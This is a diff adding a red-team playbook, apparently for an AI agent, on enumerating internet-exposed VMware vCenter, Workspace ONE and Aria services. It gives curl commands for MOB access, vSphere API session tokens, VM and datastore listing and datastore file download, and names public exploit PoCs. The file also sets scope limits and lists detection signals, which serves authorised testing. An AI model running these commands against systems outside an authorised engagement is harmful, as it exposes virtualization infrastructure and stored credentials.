+## Step 7 — Managed Object Browser (MOB) — frequently leaks data
+
+```bash
+curl -skI "https://$TARGET/mob"
+# 401 → auth required (good for the defender)
+# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs
+
+# Auth'd MOB lets you walk the entire vSphere tree:
+curl -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"
+```
+
+---
+
+## Step 8 — vSphere REST API enumeration (post-cred)
+
+```bash
+# Get session token
+curl -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
+# Returns: "<session-token>"
+
+# List VMs
+curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"
+
+# List hosts
+curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"
+
+# List datastores
+curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"
+
+# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
+# /folder/<path>?dsName=<ds>&dcPath=<dc>
+curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"
+```
+
+---
+
+## Step 9 — Workspace ONE Access specific paths
+
+```bash
+# Metadata
+curl -sk "https://$TARGET/SAAS/auth/saml/response"
+curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
+curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
+curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"
+
+# Login page
+curl -sk "https://$TARGET/SAAS/login/0"
+```
+
+---
+
+## Step 10 — Aria / vRealize specific paths
+
+```bash
+# vRealize Operations Manager
+curl -sk "https://$TARGET/suite-api/api/versions"
+curl -sk "https://$TARGET/casa/nodes/thumbprints"
+
+# Aria Automation
+curl -sk "https://$TARGET/csp/gateway/am/api/about"
+curl -sk "https://$TARGET/cluster-administration/api/health"
+
+# vRealize Orchestrator
+curl -sk "https://$TARGET/vco/api/about"
+curl -sk "https://$TARGET/vco-controlcenter/api/health"
+```
+
+---
+
+## Tooling
+
+- **`vCenter-Exploit` collection** (multiple PoCs on GitHub for 21972, 21985, 22005)
+- **`Greenbone/openvas-scanner` VMware NASL plugins** — version detection
+- **`nuclei`** templates: `vmware-vcenter-*.yaml`, `cve-2021-21972.yaml`, `cve-2022-22954.yaml`
+- **`Metasploit`** modules: `exploit/multi/http/vmware_vcenter_*`
+
+---
+
+## Detection patterns (what defenders/SOC will see)
+
+- Excessive 404s on `/ui/vropspluginui/*` — IDS signature
+- POST to `/sdk` from non-management IP
+- `[email protected]` auth failures
+- TLS handshake fingerprint changes
+- Plugin upload to vRealize endpoint
+
+Pair with `mid-engagement-ir-detection` skill — vCenter is monitored heavily in mature SOCs.
+
+---
+
+## External-only boundary check
+
+If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per `feedback_skill_boundaries`. The user handles internal vCenter work directly.
+
+Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.
+
+---
+
+## Severity scoring guidance (red-team deliverable context)
+
+| Finding | Severity |
+|---|---|
+| vCenter on internet, current patch | Informational (attack surface note) |
+| vCenter on internet, missing patches with public RCE | **Critical** (entire virtualization plane compromise) |
+| vCenter on internet + default admin password | **Critical** (immediate full takeover) |
+| Workspace ONE on internet, unpatched 22954 | **Critical** |
+| MOB anonymously accessible | **High** (full topology disclosure) |
+| /sdk reachable + version disclosure only | **Medium** (info disclosure + attack-surface concentration) |
+
+---
+
+## Anti-patterns
+
+- **DO NOT spray vCenter SSO** — lockout is aggressive; one chance often
+- **DO NOT execute file-upload PoCs without explicit OK** — they create persistent webshells; cleanup overhead and audit trail
+- **DO NOT confuse ESXi-management-on-internet with vCenter** — different attack surfaces; ESXi Open SLP CVEs target port 427
+- **DO NOT skip SSL handshake banner check** — VMware exposes versions there; this is the lowest-noise initial probe
+
+---
+
+## Bridge to neighboring skills
+
+- `enterprise-vpn-attack` — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
+- `m365-entra-attack` — vCenter SSO sometimes federated to Entra; cred-chain bridging
+- `mid-engagement-ir-detection` — vCenter monitoring is sensitive; expect mid-engagement mitigations
+- `redteam-report-template` — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)